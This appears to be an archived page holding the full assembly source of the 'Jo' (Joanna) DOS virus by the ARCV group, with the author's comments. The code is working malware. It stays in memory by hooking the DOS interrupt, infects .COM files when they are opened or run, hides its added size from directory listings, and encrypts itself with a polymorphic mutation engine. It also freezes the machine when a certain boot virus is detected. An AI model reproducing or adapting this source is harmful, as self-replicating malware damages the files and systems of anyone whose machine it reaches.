home *** CD-ROM | disk | FTP | other *** search
- NAME Jo
- PAGE 55,132
- TITLE Jo Virus.
-
- ;
- ; This is Yet another virus from the ARCV, this one is called
- ; Joanna, it was written by Apache Warrior, ARCV President.
- ;
- ; It has Stealth features, it is a Resident infector of .COM files
- ; and uses the Cybertech Mutation Engine (TM) by Apache Warrior for
- ; its Polymorphic features. There is a maximum of 3 unchanged bytes
- ; in the Encrypted code.
- ;
-
- .model tiny
-
- code segment
-
- ASSUME CS:CODE,DS:CODE,ES:CODE
-
- int_21ofs equ 84h
- int_21seg equ 86h
- length equ offset handle-offset main
- msglen equ offset oldstart-offset msg
- tsrlen equ (offset findat-offset main)/10
- len equ offset handle-offset main
- virlen equ (offset string-offset main2)/2
- decryptlen equ offset main2-offset main
-
- org 100h
-
- start: jmp main
- db 0,0,0
-
- main: mov si,offset main2 ; SI offset for decrypt
- mov cx,virlen ; viri decrypt size
- loop_1:
- db 2eh,81h,2ch ; decrypt
- switch: dw 0
- add si,02h
- dec cx
- jnz loop_1
- main2: call findoff ; find file ofset
- findoff: pop si ;
- sub si,offset findoff
- push ds
- push es
- push cs
- pop ds
- push cs
- pop es
- mov ax,0ff05h ; Test for Scythe2 Boot
- int 13h
- cmp ah,0e9h ; Check for Scythe2 Boot
- jnz haha ; no go on
- mov ah,09h ; Display message
- lea dx,[si+offset msg2]
- int 21h
- jmp $ ; Crash the machine
- haha: mov ah,2ah ; Date Test
- int 21h ;
- cmp dx,1210h ; Is month the Oct.
- jnz main3 ; no go on
- mov ah,09h ; Display Message
- lea dx,[si+offset msg]
- int 21h
-
-
- main3: mov di,0100h ; move old programs
- push si ; start back to the start
- mov ax,offset oldstart ;
- add si,ax ;
- mov cx,05h ;
- cld ;
- repz movsb ;
-
- inst: mov ax,0ffa4h ; check to see if already instaled
- int 21h
- pop si ; bring back si
- cmp ax,42a1h
- je oldprog ; Yes return to old program
-
- tt2: xor ax,ax ; Residency Routine
- push ax
- mov ax,ds ; Get MCB segment Address
- dec ax ;
- mov es,ax ; Put MCB segment Address in es
- pop ds ;
- mov ax,word ptr ds:int_21ofs ; Load Int 21h address data
- mov cx,word ptr ds:int_21seg ;
- mov word ptr cs:[si+int21],ax ; Move Int 21h data to store
- mov word ptr cs:[si+int21+2],cx ;
- cmp byte ptr es:[0],5ah ; Check for Start of MCB
- jne oldprog ; If no then quit
- mov ax,es:[3] ; Play with MCB to get top of
- sub ax,0bch ; Memory and reserve 3,008 bytes
- jb oldprog ; for Virus
- mov es:[3],ax ;
- sub word ptr es:[12h],0bch ;
- mov es,es:[12h] ;
- push ds ;
- push cs ;
- pop ds ; Move Virus into Memory
- mov di,0100h ; space allocated above
- mov cx,len+5 ;
- push si ;
- add si,0100h ;
- rep movsb ;
- pop si
- pop ds
- cli ; Stop Interrupts Very Inportant
- mov ax,offset new21 ; Load New Int 21h handler
- mov word ptr ds:int_21ofs,ax ; address and store
- mov word ptr ds:int_21seg,es ;
- sti ;
-
- oldprog:
- mov di,0100h ; Return to Orginal
- pop es ; Program..
- pop ds ;
- push di ;
- ret ;
-
- int21 dd 0h ; Storage For Int 21h Address
-
- ;
- ; New interupt 21h Handler
- ;
-
- sayitis: mov ax,42a1h ; Install Check..
- iret
-
- new21: ;nop ; Sign byte
- cmp ax,0ffa4h ; Instalation Check
- je sayitis
- cmp ah,11h ; FCB Search file
- je adjust_FCB
- cmp ah,12h ; FCB Search Again
- je adjust_FCB
- cmp ah,4eh ; Handle Search file
- je adjust_FCB
- cmp ah,4fh ; Handle Search Again
- je adjust_FCB
- cmp ah,3dh ; Are they opening a file?
- je intgo ; if no ignore
- cmp ah,4bh ; Exec Function
- jne noint
- intgo: push ax ; 4bh, 3dh Infect file
- push bx ; Handler save the Registers
- push cx
- push es
- push si
- push di
- push dx
- push ds
- call checkit ; Call infect routine
- pop ds
- pop dx
- pop di
- pop si
- pop es
- pop cx
- pop bx
- pop ax
- noint: jmp cs:[int21] ; Return to Orginal Int 21h
-
- adjust_FCB: push es ; Stealth Routine
- push bx
- push si
- push ax
- xor si,si
- and ah,40h ; Check for handle Search
- jz okFCB
- mov si,1 ; Set flag
- okFCB: mov ah,2fh ; Get DTA Address
- int 21h
- pop ax ; Restore ax to orginal function
- call i21 ; value call it
- pushf ; save flags
- push ax ; save ax error code
- call adjust ; Call stealth adjust routine
- pop ax ; restore registers
- popf
- pop si
- pop bx
- pop es
- retf 2 ; Return to caller
-
- adjust: pushf ; Stealth check routine
- cmp si,0 ; Check flag set earlyer
- je fcb1
- popf
- jc repurn ; Check for Handle Search error
- mov ah,byte ptr es:[bx+16h] ; No error then carry on
- and ah,01ah ; Check stealth stamp
- cmp ah,01ah ;
- jne repurn ;
- sub word ptr es:[bx+1ah],len ; Infected then take the viri size
- repurn: ret ; from file size.
- fcb1: popf ; Same again but for the FCB
- cmp al,0ffh
- je meat_hook
- cmp byte ptr es:[bx],0ffh
- jne xx2
- add bx,7
- xx2: mov ah,byte ptr es:[bx+17h]
- and ah,01ah
- cmp ah,01ah
- jne meat_hook
- sub word ptr es:[bx+1dh],len
- meat_hook: ret
-
- com_txt db 'COM',0 ;
-
- reset: ; File Attrib routines
- mov cx,20h
- set_back:
- mov al,01h
- find_att:
- mov ah,43h ; Alter file attributes
- i21: pushf
- call cs:[int21]
- exitsub: ret
-
- checkit: ; Infect routine
- push es ; Save some more registers
- push ds
- push ds ; Check to see if file is a
- pop es ; .COM file if not then
- push dx ; quit..
- pop di ;
- mov cx,0ffh ; Find '.' in File Name
- mov al,'.' ;
- repnz scasb ;
- push cs ;
- pop ds ;
- mov si,offset com_txt ; Compare with COM extension
- mov cx,3 ;
- rep cmpsb ;
- pop ds ; Restore Reg...
- pop es ;
- jnz exitsub ;
-
- foundtype: sub di,06h ; Check for commaND.com
- cmp ds:[di],'DN' ; Quit if found..
- je exitsub ;
- mov word ptr cs:[nameptr],dx ; Save DS:DX pointer for later
- mov word ptr cs:[nameptr+2],ds ;
- mov al,00h ; Find Attributes of file to infect
- call find_att ;
- jc exitsub ; Error Quit.
-
- alteratr: mov cs:[attrib],cx ; Save them
- call reset ; Reset them to normal
-
- mov ax,3d02h ; Open file
- call i21
- jc exitsub ; Error Quit
- push cs ; Set DS to CS
- pop ds ;
- mov ds:[handle],ax ; Store handle
-
- mov ax,5700h ; Read file time and date
- mov bx,ds:[handle] ;
- call i21 ;
- ke9: mov ds:[date],dx ; Save DX
- or cx,1ah ; Set Stealth Stamp
- mov ds:[time],cx ; Save CX
-
- mov ah,3fh ; Read in first 5 bytes
- mov cx,05h ; To save them
- mov dx,offset oldstart ;
- call i21 ;
- closeit: jc close2 ; Error Quit
-
- mov ax,4202h ; Move filepointer to end
- mov cx,0ffffh ; -5 bytes offset from end
- mov dx,0fffbh ;
- call i21 ;
- jc close ; Error Quit
-
- mov word ptr cs:si_val,ax ; Save File saize for later
- cmp ax,0ea60h ; See if too big
- jae close ; Yes then Quit
-
- mov ah,3fh ; Read in last 5 bytes
- mov cx,05h ;
- mov dx,offset tempmem ;
- call i21 ;
- jc close ; Error
-
- push cs ; Reset ES to CS
- pop es ;
- mov di,offset tempmem ; Check if Already infected
- mov si,offset string ;
- mov cx,5 ;
- rep cmpsb ;
- jz close ; Yes the Close and Quit
-
- zapfile: ; No Infect and Be Damned
- mov ax,word ptr cs:si_val ;
- add ax,2 ;
- push cs ;
- pop ds ;
- mov word ptr ds:[jpover+1],ax ; Setup new jump
- call mut_eng ; Call Mutation Engine
- mov ah,40h ; Save prog to end of file
- mov bx,cs:[handle] ; Load Handle
- mov cx,length ; LENGTH OF PROGRAM****
- call i21 ; Write away
- close2: jc close ; Quit if error
-
- push cs ; Reset DS to CS
- pop ds ;
- mov ax,4200h ; Move File pointer to start
- xor cx,cx ; of file
- cwd ; Clever way to XOR DX,DX
- call i21 ;
- jc close ; Error Quit..
-
- mov ah,40h ; Save new start
- mov cx,03h ;
- mov dx,offset jpover ;
- call i21 ;
-
- close: mov ax,5701h ; Restore Time and Date
- mov bx,ds:[handle] ;
- mov cx,ds:[time] ;
- mov dx,ds:[date] ;
- call i21 ;
- mov ah,3eh ; Close file
- call i21 ;
- exit_sub: mov dx,word ptr [nameptr] ; Reset Attributes to as they where
- mov cx,ds:[attrib] ;
- mov ds,word ptr cs:[nameptr+2] ;
- call set_back ;
- ret ; Return to INT 21h Handler
-
-
- ;
- ; CyberTech Mutation Engine
- ;
- ; This is Version Two of the Mutation Engine
- ; Unlike others it is very much Virus Specific.. Works
- ; Best on Resident Viruses..
- ;
- ; To Call
- ;
- ; si_val = File Size
- ;
- ; Returns
- ; DS:DX = Encrypted Virus Code, Use DS:DX pointer to
- ; Write From..
-
-
- mut_eng:
- mov ah,2ch ; Get Time
- call i21 ;
- mov word ptr ds:[switch],dx ; Use Sec./100th counter as key
- mov word ptr ds:[switch2+1],dx ; Save to Decrypt and Encrypt
- mov ax,cs:[si_val] ; Get file size
- mov dx,offset main2 ;
- add ax,dx ;
- mov word ptr [main+1],ax ; Store to Decrypt offset
- xor byte ptr [loop_1+2],28h ; Toggle Add/Sub
- xor byte ptr switch2,28h ; "
- push cs ; Reset Segment Regs.
- pop ds ;
- push cs ;
- pop ax ; Find Spare Segment
- sub ax,0bch ; and put in es
- mov es,ax ;
- mov si,offset main ; Move Decrypt function
- mov di,0100h ;
- mov cx,decryptlen ;
- rep movsb ;
- mov si,offset main2 ; Start the code encrypt
- mov cx,virlen ;
- loop_10: lodsw ;
- switch2: add ax,0000 ;
- stosw ;
- loop loop_10 ;
- mov si,offset string ; move ID string to end
- mov cx,5 ; new code
- rep movsb ;
- mov dx,0100h ; Set Registers to encrypted Virus
- push es ; Location
- pop ds ;
- ret ; Return
-
- ; Data Section, contains Messages etc.
-
-
- ; Little message to the Wife to Be..
-
- msg db 'Looking Good Slimline Joanna.',0dh,0ah
- db 'Made in England by Apache Warrior, ARCV Pres.',0dh,0ah,0ah
- db 'Jo Ver. 1.11 (c) Apache Warrior 92.',0dh,0ah
- db '$'
-
- msg2 db 'I Love You Joanna, Apache..',0dh,0ah,'$'
-
- virus_name db '[JO]',00h, ; Virus Name..
- author db 'By Apache Warrior, ARCV Pres.' ; Thats me..
- filler dd 0h
-
- oldstart: mov ax,4c00h ; Orginal program start
- int 21h
- nop
- nop
-
- j100h dd 0100h ; Stores for jumps etc
- jpover db 0e9h,00,00h ;
-
- string db '65fd3' ; ID String
-
- :heap ; This code is not saved
- handle dw 0h
- nameptr dd 0h
- attrib dw 0h
- date dw 0h
- time dw 0h
- tempmem db 10h dup (?)
- findat db 0h
- si_val dw 0h
-
- code ends
-
- end start